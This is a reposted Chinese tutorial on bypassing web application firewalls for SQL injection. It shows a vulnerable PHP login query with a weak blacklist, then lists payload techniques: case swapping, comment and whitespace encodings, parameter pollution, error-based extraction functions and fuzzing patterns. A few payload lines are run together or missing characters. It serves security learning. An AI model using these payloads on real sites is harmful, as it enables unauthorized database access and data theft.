滲透測試——WAF繞過原理


 

滲透測試——WAF繞過原理

WAF繞過必要條件
1,熟練掌握mysql函數和語法使用方法
2,深入了解中間件運行處理機制
3,了解WAF防護處理原理和方法
一,WAF繞過原理——白盒繞過
代碼樣例

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);
	if($row)
	{
	  	echo "<font size='5' color= '#99FF00'>";	
	  	echo 'Your Login name:'. $row['username'];
	  	echo "<br>";
	  	echo 'Your Password:' .$row['password'];
	  	echo "</font>";
  	}
	else 
	{
		echo '<font color= "#FFFF00">';
		print_r(mysql_error());
		echo "</font>";  
	}
}
else 
{ 
	echo "Please input the ID as parameter with numeric value";
}


function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
	
	return $id;
}

1,1代碼分析
這個通過分析代碼發現定義了blacklist黑名單功能然后是直接正則匹配過濾了or和and並忽略大小寫
1,2繞過限制
因為這里匹配的是or 和AND
(1)大小寫變形:Or OR oR
(2)等價替換:and=&& or=||
二,WAF繞過原理——黑盒繞過
1,架構層繞過WAF
(1)尋找源站——>針對雲waf
(2)利用同網段——>繞過waf防護區域
(3)利用邊界漏洞——>繞過waf防護區域
2,資源限制角度繞過waf
post傳入大的數據包body
3,協議層面繞過waf檢測
(1)協議為覆蓋waf
請求方式變換:GET->POST
Content-Type變換:application/x-www-form-urlencoded————>multipart/form-data
(2)參數污染
index.php?id=1&id=2
這里遇到的是waf只是針對第一傳參進行檢測未對第二個傳參進行檢測
4,規則層面繞過
4.1sql注釋符繞過

1union /**/select2union /*aaaaaaa%01bbs*/select3union /*aaaaaaaaaaaaaaaaaaaaa*/select4)內聯注釋:/*!xxxxxxxx*/

4.2空白符繞過
(1)mysql空白符

%09,%0A,%0B,%0C,%0D,%20,%A0,/*xxx*/`

(2)正則匹配的空白符:

%09,%0A,%0B,%0D,%20

4.3函數分隔符號
(1)concat%2520(
(2)concat/**/(
(3)concat%250c(
(4)concat%25a0(
4.4浮點數詞解析
(1)selectfrom users where id=8E0union select 1,2,3,4,5,6,7#
(2)select
from users where id=8.0union select 1,2,3,4,5,6,7#
(3)select*from users where id=\Nunion select 1,2,3,4,5,6,7#
4.5利用報錯進行sql注入
error-based sql注入函數非常容易被忽略

(1)extractvalue(1,concat(0x5c,md5(3)));
(2)updatexml(1,concat(0x5c,md5(3)));
(3)GeometryCollection(select *from (select *from (select @@version)x))
(4)polygon((select *from (select name_const(version(),1))x))
(5)linestring()
(6)multipoint()
(7)multilinestring()
(8)multipolygon()

4.6mysql特殊語法

select {x table_name}from{x information_schema.tables};

三,Fuzz繞過WAF
1,以注釋符為例子不斷fuzz
(1)先測試最基本的語句
union/**/select
(2)再測試中間引入特殊字符
union/aaaa%01bbs/select
(3)最后測試注釋長度
union/aaaaaaaaaaaaaaaaaaaaaa/select
最基本的模式
union/anything/select

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM